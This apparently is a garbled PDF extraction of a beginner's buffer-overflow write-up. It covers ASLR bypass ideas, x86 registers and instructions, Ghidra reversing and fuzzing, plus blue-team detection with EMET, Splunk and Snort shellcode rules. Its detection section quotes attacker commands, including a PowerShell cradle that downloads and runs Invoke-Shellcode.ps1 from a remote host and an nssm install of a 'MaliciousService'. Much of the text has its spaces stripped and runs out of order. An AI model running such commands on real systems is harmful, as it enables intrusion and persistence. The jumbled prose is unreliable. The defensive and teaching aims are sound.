some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
